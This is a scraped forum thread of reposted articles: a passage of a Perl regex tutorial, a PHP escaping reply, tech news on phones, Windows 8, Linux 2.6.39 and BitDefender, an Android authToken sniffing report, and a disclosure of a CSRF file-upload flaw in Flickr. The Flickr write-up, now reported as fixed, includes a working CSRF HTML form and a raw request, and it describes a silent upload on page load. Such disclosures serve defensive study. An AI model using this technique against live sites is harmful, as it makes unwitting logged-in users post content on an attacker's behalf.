$number_count++; } say "There are $number_count numbers here.\n"; Now you get the expected results: I found the number 200. I found the number 5. I found the number 4. There are 3 numbers here. The second trap is that a quantifier will always match as many characters as it can. Look at this example code, but don't run it yet: use 5.010; my $book_pref = "The cat in the hat is where it's at.\n"; say $+{match} if $book_pref =~ /(?<match>cat.*at)/; Take a guess: What's in $+{match} right now? Now run the code. Does this seem counterintuitive? The matching expression cat.*at is greedy. It contains cat in the hat is where it's at because that's the longest string that matches. Remember, read left to right: "cat," followed by any number of characters, followed by "at." If you want to match the string cat in the hat, you have to rewrite your regexp so it isn't as greedy. There are two ways to do this: * Make the match more precise (try /(?<match>cat.*hat)/ instead). Of course, this still might not work -- try using this regexp against The cat in the hat is who I hate. Use a ? character after a quantifier to specify non-greedy matching. .*? instead of .* means that Perl will try to match the smallest string possible instead of the largest: # Now we get "cat in the hat" in $+{match}. say $+{match} if $book_pref =~ /(?<match>cat.*?at)/; Search and replace Regular expressions can do something else for you: replacing. If you've ever used a text editor or word processor, you've probably used its search-and-replace function. Perl's regexp facilities include something similar, the s/// operator: s/regex/replacement string/. If the string you're testing matches regex, then whatever matched is replaced with the contents of replacement string. For instance, this code will change a cat into a dog: use 5.010; my $pet = "I love my cat."; $pet =~ s/cat/dog/; say $pet; You can also use subexpressions in your matching expression, and use the variables $1, $2 and so on, that they create. The replacement string will substitute these, or any other variables, as if it were a double-quoted string. Remember the code for changing Wall, Larry into Larry Wall? It makes a fine single s/// statement! my $name = 'Wall, Larry'; $name =~ s/(\w+), (\w+)/$2 $1/; # "Larry Wall" You don't have to worry about using captures if the match fails; the substitution won't take place. Of course, named captures work equally well: my $name = 'Wall, Larry'; $name =~ s/(?<last>\w+), (?<first>\w+)/$+{first} $+{last}/; # "Larry Wall" s/// can take flags, just like matching expressions. The two most important flags are g (global) and i (case-insensitive). Normally, a substitution will only happen once, but specifying the g flag will make it happen as long as the regex matches the string. Try this code with and without the g flag: use 5.010; my $pet = "I love my cat Sylvester, and my other cat Bill.\n"; $pet =~ s/cat/dog/g; say $pet; Notice that without the g flag, Bill avoids substitution-related polymorphism. The i flag works just as it does in matching expressions: It forces your matching search to be case-insensitive. Maintainability Once you start to see how patterns describe text, everything so far is reasonably simple. Regexps may start simple, but often they grow in to larger beasts. There are two good techniques for making regexps more readable: adding comments and factoring them into smaller pieces. The x flag allows you to use whitespace and comments within regexps, without it being significant to the pattern: my ($time, $hours, $minutes, $seconds) = $string =~ /( # capture entire match (\d{1,2}) # one or two digits for the hour : (\d{2}) # two digits for the minutes : (\d{2}) # two digits for the seconds ) /x; That may be a slight improvement for the previous version of this regexp, but this technique works even better for complex regexps. Be aware that if you do need to match whitespace within the pattern, you must use \s or an equivalent. Adding comments is helpful, but sometimes giving a name to a particular piece of code is sufficient clarification. The qr// operator compiles but does not execute a regexp, producing a regexp object that you can use inside a match or substitution: my $two_digits = qr/\d{2}/; my ($time, $hours, $minutes, $seconds) = $string =~ /( # capture entire match (\d{1,2}) # one or two digits for the hour : ($two_digits) # minutes : ($two_digits) # seconds ) /x; Of course, you can use all of the previous techniques as well: use 5.010; my $two_digits = qr/\d{2}/; my $one_or_two_digits = qr/\d{1,2}/; my ($time, $hours, $minutes, $seconds) = $string =~ /(?<time> (?<hours> $one_or_two_digits) : (?<minutes> $two_digits) : (?<seconds> $two_digits) ) /x; Note that the captures are available through %+ as well as in the list of values returned from the match. Putting it all together Regular expressions have many practical uses. Consider a httpd log analyzer for an example. One of the play-around items in the previous article was to write a simple log analyzer. You can make it more interesting; how about a log analyzer that will break down your log results by file type and give you a list of total requests by hour. (Complete source code.) Here's a sample line from a httpd log: 127.12.20.59 - - [01/Nov/2000:00:00:37 -0500] "GET /gfx2/page/home.gif HTTP/1.1" 200 2285 The first task is split this into fields. Remember that the split() function takes a regular expression as its first argument. Use /\s/ to split the line at each whitespace character: my @fields = split /\s/, $line; This gives 10 fields. The interesting fields are the fourth field (time and date of request), the seventh (the URL), and the ninth and 10th (HTTP status code and size in bytes of the server response). Step one is canonicalization: turning any request for a URL that ends in a slash (like /about/) into a request for the index page from that directory (/about/index.html). Remember to escape the slashes so that Perl doesn't consider them the terminating characters of the match or substitution: $fields[6] =~ s/\/$/\/index.html/; This line is difficult to read; it suffers from leaning-toothpick syndrome. Here's a useful trick for avoiding the leaning-toothpick syndrome: replace the slashes that mark regular expressions and s/// statements with any other matching pair of characters, such as { and }. This allows you to write a more legible regex where you don't need to escape the slashes: $fields[6] =~ s{/$}{/index.html}; (To use this syntax with a matching expression, put a m in front of it. /foo/ becomes m{foo}.) Step two is to assume that any URL request that returns a status code of 200 (a successful request) is a request for the file type of the URL's extension (a request for /gfx/page/home.gif returns a GIF image). Any URL request without an extension returns a plain-text file. Remember that the period is a metacharacter, so escape it! if ($fields[8] eq '200') { if ($fields[6] =~ /\.([a-z]+)$/i) { $type_requests{$1}++; } else { $type_requests{txt}++; } } Next, retrieve the hour when each request took place. The hour is the first string in $fields[3] that will be two digits surrounded by colons, so all you need to do is look for that. Remember that Perl will stop when it finds the first match in a string: # Log the hour of this request $fields[3] =~ /:(\d{2}):/; $hour_requests{$1}++; Finally, rewrite the original report() sub. We're doing the same thing over and over (printing a section header and the contents of that section), so we'll break that out into a new sub. We'll call the new sub report_section(): sub report { print "Total bytes requested: ", $bytes, "\n"; print "\n"; report_section("URL requests:", %url_requests); report_section("Status code results:", %status_requests); report_section("Requests by hour:", %hour_requests); report_section("Requests by file type:", %type_requests); } The new report_section() sub is very simple: sub report_section { my ($header, %types) = @_; say $header; for my $type (sort keys %types) { say "$type: $types{$type}"; } print "\n"; } The keys operator returns a list of the keys in the %types hash, and the sort operator puts them in alphabetic order. The next article will explain sort in more detail. Play around! As usual, here are some sample exercises. A rule of good writing is "avoid the passive voice." Instead of The report was read by Carl, say Carl read the report. Write a program that reads a file of sentences (one per line), detects and eliminates the passive voice, and prints the result. (Don't worry about irregular verbs or capitalization, though.) Sample solution. Sample test sentences. You have a list of phone numbers. The list is messy, and the only thing you know is that there are either seven or 10 digits in each number (the area code is optional), and if there's an extension, it will show up after an "x" somewhere on the line. "416 555-1212," "5551300X40" and "(306) 555.5000 ext 40" are all possible. Write a fix_phone() sub that will turn all of these numbers into the standard format "(123) 555-1234" or "(123) 555-1234 Ext 100," if there is an extension. Assume that the default area code is "123". Sursa: A Beginner's Introduction to Perl 5.10, part three - O'Reilly News
-
$banner = mysql_real_escape_string($banner); $banner_link = mysql_real_escape_string($banner_link); $target = mysql_real_escape_string($target); Argumentele: $banner, $banner_link, $target - Care sunt? Sigur nu era $_POST['banner']...? Sau probabil $pachet, $tip... ? Oricum acele if-uri sunt ciudate, pune macar un if - elseif ca sa iti execute query-ul si sa creeze acele variabile numai daca toate datele sunt corecte...
-
Pantech unveils 1.5GHz dual-core Vega Racer droid 19 May, 2011 Pantech has just announced what looks like the most powerful Android smartphone to date. The Pantech Vega Racer packs a dual-core processor clocked at 1.5GHz plus the Adreno 220 GPU, which is a mouth-watering combo. Unfortunately at launch the Pantech Vega Racer will only be available in Korea and there's no saying if availability in other regions will follow. The Vega Racer is based on the same chipset as the HTC EVO 3D - Snapdragon MSM8660, but due to the overclocked 1.5GHz CPU should be even speedier. The other specs highlights of the Vega Racer include a 4.3" LCD of WVGA resolution, 1GB RAM and a couple of cameras - an 8 megapixel one at the back and a 1.3 megapixel unit for video-calling. Pantech Vega Raver will run on Android 2.3 Gingerbread when it hit the SK Telecom shelves later this month. Whether it will later set on a world tour remains to be seen, but it has every chance of going in the history books as the first 1.5GHz dual-core phone. Pantech has also revealed that it is already working on a tablet of its own. They didn't give us an estimate as of when it might become available but we'll be on the lookout for more information about it in the future. Sursa: Pantech unveils 1.5GHz dual-core Vega Racer droid - GSMArena.com news
-
BitDefender lanseaz? Mobile Security BETA Securitatea mobil? devine un aspect destul de important, aspect pe care programatorii de la Bitdefender l-au în?eles perfect. Ace?tia intr? în domeniul securit??ii mobile cu aplica?ia Bitdefender Mobile Security, unealt? suportat? de Android (momentan) ce ofer? protec?ie superioar? prin serviciile de securitate în cloud ce sunt caracterizate prin procese de scanare puternice, urm?rind prevenirea aplica?iilor mali?ioase. Proiectat cu gândul la eficientizarea consumului de energie, procesul de scanare este realizat doar atunci când este necesar: fie c? utilizatorul dore?te s? verifice aplica?iile instalate, c? instaleaz? o aplica?ie care nu este semnat? sau face alte ac?iuni ce ar putea compromite securitatea telefonului. Una dintre cele mai interesante func?ii este Security Audit, care ofer? o privire de ansamblu asupra tipurilor de aplica?ii ?i asupra informa?iilor la care au acces acestea au date confiden?iale, conexiune la internet sau permisiuni de a folosi serviciile de telefonie. Totodat?, utilizatorii beneficiaz? de scanare on-install ?i on-demand, care pot fi activate oricând, pentru a se asigura c? toate aplica?iile instalate sunt legitime ?i sigure. Varianta BETA a BitDefender Mobile Security poate fi desc?rcat? gratuit direct din Android Market sau de pe site-ul BitDefender, la aceast? adres?. Personal, am avut pl?cerea ?i ?ansa de a discuta cu echipa din spatele proiectului înc? din perioada unei versiuni Alpha timide. ?i atunci, ?i acum salut ini?iativa. Sursa: BitDefender lanseaz
-
Chrome, Firefox ?i Safari sufer? de o scurgere important? de memorie Pe pagina Chromium a fost raportat? o problem? a browserului care se caracterizeaz? printr-o scurgere de memorie în momentul în care un client cere ?i se afi?eaz? o imagine de la server, iar aceasta vine cu headerul “Cache-Contro: no-store”, parametru ce spune browserului c? imaginea nu ar trebui stocat? local. În mod teoretic, memoria alocat? ar trebui s? fie eliberat? la un moment dat, dar se pare c? acest lucru nu ajunge s? se întâmple niciodat?. Conform aceluia?i raport, înc?rcarea unei imagini de 22KB JPEG (512×512 pixeli) m?re?te cantitatea de memorie cu aproape 1,000KB. Interesant este faptul c? problema aceasta apare atât în Chrome 11 (versiunea stabil?), dar ?i în Safari 5, Firefox 4.x. Aparent, singurul browser care nu are aceast? problem? este Internet Explorer, versiunile 7, 8 ?i 9. Mai multe detalii aici. Sursa: Chrome, Firefox
-
BitDefender Total Security 2012 Beta Details: http://beta2012.bitdefender.com/ Download: http://download.bitdefender.com/windows/installer/beta/en-us/bitdefender_tsecurity.exe
-
Editia Windows 8 cu suport ARM nu va mosteni aplicatiile Windows de Silviu Anton | 19 mai 2011 Odata cu lansarea Windows 8, Microsoft isi propune sa cucereasca si piata mobila. Astfel, viitoarea generatie a sistemului de operare va avea doua editii: una x86 si una ARM. Arhitectura x86 va ramane compatibila cu majoritatea aplicatiilor Windows, in vreme ce versiunea cu suport pentru chip-urile mobile de la ARM va ramane fara mostenirea aplicatiilor. Asta este o veste proasta pentru consumatori, care vor fi nevoiti sa isi cumpere din nou aplicatiile esentiale precum Microsoft Office. Cel mai probabil, compania spera ca acest “neajuns” al versiunii ARM a Windows 8 sa fie unul care sa poata fi trecut cu vederea. Pana la urma, software-ul Microsoft are o multime de fanboys care asteapta cu nerabdare sa beneficieze de experienta Windows si pe dispozitivele mobile. In plus, chip-urile ARM au cunoscut o crestere exploziva pe frontul mobil, gratie performantei crescute, consumului redus de energie si a unei durate de viata mai lungi a bateriei. Sursa: Editia Windows 8 cu suport ARM nu va mosteni aplicatiile Windows | Hit.ro
-
Linux kernel 2.6.39 released After just 65 days of development, Linus Torvalds has released version 2.6.39 of the Linux kernel. The new release includes support for ipset which simplified firewall configuration and deployment by allowing updatable and quickly searchable external tables to be used by the network filtering. Interrupt handling can now be handled almost entirely by kernel threads, the ext4 file system and block layers are now able to scale better and show better performance and the kernel now includes a network backend for Xen virtualisation. As always, the new kernel brings hundreds of new or enhanced drivers. For example, support for AMD's current "Cayman" family of high end graphics cards and GPUs arrived with a simple DRM/KMS driver. Also new in this release are drivers for the function keys of Samsung notebooks and the Realtek RTL8192CU and RTL8188CU Wi-Fi chips. Whats News in Linux kernel 2.6.39 The latest Linux kernel offers drivers for AMD's current high-end graphics chips and ipsets that simplify firewall implementation and maintenance. The Ext4 file system and the block layer are now said to work faster and offer improved scalability. Hundreds of new or improved drivers enhance the kernel's hardware support. Version 2.6.39 once again took Linus Torvalds and his fellow developers less than 70 days to complete. This is further indication of a slight, though ever more apparent, increase in the kernel's development speed, as about 80 to 90 days still passed between the release of two versions one or two years ago. With 2.6.39, this also meant that there was a slight decrease in the number of advancements which are worth mentioning in the Kernel Log; however, there are still plenty of changes that will make Linux faster and better. This article will provide a brief description of the new Linux version's most important improvements. Many of these improvements affect not only servers but also notebooks and desktop PCs. The distribution kernels will bring the improvements to the majority of Linux systems in the short or medium term, as these kernels are based on the kernels released by Linus Torvalds. Graphics The Radeon driver of kernel version 2.6.39 will support the Cayman family of graphics chips that AMD is using, models such as the current Radeon HD 6790 to 6970 cards (see 1, 2). However, these cards' 2D and 3D acceleration features are unavailable because there is no DRM support; future kernel versions will fix this problem. The Nouveau driver for NVIDIA GPUs now supports Z compression. The developers have also fixed a performance issue that reportedly reduced performance by 10 to 30 per cent. The developers of the graphics drivers for Intel chips have made numerous minor changes; some of them reduce the power consumption of recent graphics cores (see 1, 2, 3) or improve performance in certain situations. The developers have added a rudimentary graphics driver for the GMA500, a graphics device that was previously considered a big problem under Linux. It is included in Intel's US15W ("Poulsbo") chipset, which was originally designed for the embedded market but is used in netbooks by some manufacturers. Download: http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.39.tar.bz2 Sursa: http://www.thehackernews.com/2011/05/linux-kernel-2639-released-update-now.html
-
E in engleza, am gasit mai multe stiri in engleza dar nu le-am citit de lene, pe asta am citit-o
-
Android: Problema grava de securitate! O echipa de cercetatori de la Universitatea Ulm, Germania a descoperit o problema critica de securitate la platforma Android, celebrul sistem de operare pentru smartphone de la Google. 99.7% din totalul telefoanelor de acest tip pot trimite la distanta cheia personala de autentificare, atunci cand sunt conectati prin retele WiFi nesigure. S-a descoperit ca aplicatiile trimit numele de utilizator si parola spre server in mod securizat, iar acesta din urma returneaza o cheie de autentificare, astfel incat aplicatia sa nu fie nevoita sa se logheze la fiecare conectare. Cercetatorii au descoperit ca aceasta cheie este punctul nevralgic, deoarece este transmisa de multe ori intr-un mod nesigur (facilitand furtul ei). Folosind metoda de sniffing al unei retele WiFi nesecurizate, atacatorul va putea intra usor in posesia acestei chei. Cum ea este valida timp de 2 saptamani, atacatorul poate merge mai departe sincronizand contactele si intrarile din calendar, de pe telefonul tau pe al sau. Totusi, vulnerabilitatea se rezuma strict la partea de Gmail Calendar/Contacts. Daca nu ai setat sincronizare cu Calendar sau Contacts din GMail, sau daca totusi le sincronizezi dar nu folosesti free WiFi si preferi 3G, vulnerabilitatea e redusa la zero. Android 2.3.4 si 3.0 par sa fie ferite de probleme, desi partial. Aplicatia Picasa Sync foloseste inca o modalitate nesigura de conectare, chiar si in aceste ultime versiuni. Pentru mai multe detalii: Catching authTokens in the wild - Universität Ulm Sursa: Android: Problema grava de securitate!
-
Invisible arbitrary CSRF file upload in Flickr.com Mic studiu de caz. Summary Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent. Described vulnerability has been quickly fixed by Flickr.com team. The exploit is an example of using my HTML5 arbitrary file upload method. Demo: Vulnerability description Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form). This request looks like this: POST /photos/upload/transfer/ HTTP/1.1 Host: up.flickr.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www.flickr.com/photos/upload/basic/ Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599 Content-Length: 29437 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="done" 1 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="complex_perms" 0 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="magic_cookie" 8b84f6a5d988b5f3a1be31c841042f41 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="file1"; filename="0011.jpg" Content-Type: image/jpeg [binary-data-here] -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="tags" -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="is_public_0" 1 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="safety_level" 0 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="content_type" 0 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="Submit" UPLOAD -----------------------------410405671879807276394827599-- On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload. To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack. Attack Malicious page with this HTML code: <form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post"> <input type=hidden name=is_public_0 value=1> <input type=file name=file1> <input type="submit"> <!-- no magic_cookie here, still works --> </form> was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability). Above technique required user to manually choose the file from his HDD. However, using my method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load. As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker). Exemplary exploit code is here. Fix As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request. Timeline 17.05.2011 - vulnerability discovered 18.05.2011 - vendor notified 18.05.2011 - vendor responded, fix released Sursa: Invisible arbitrary CSRF file upload in Flickr.com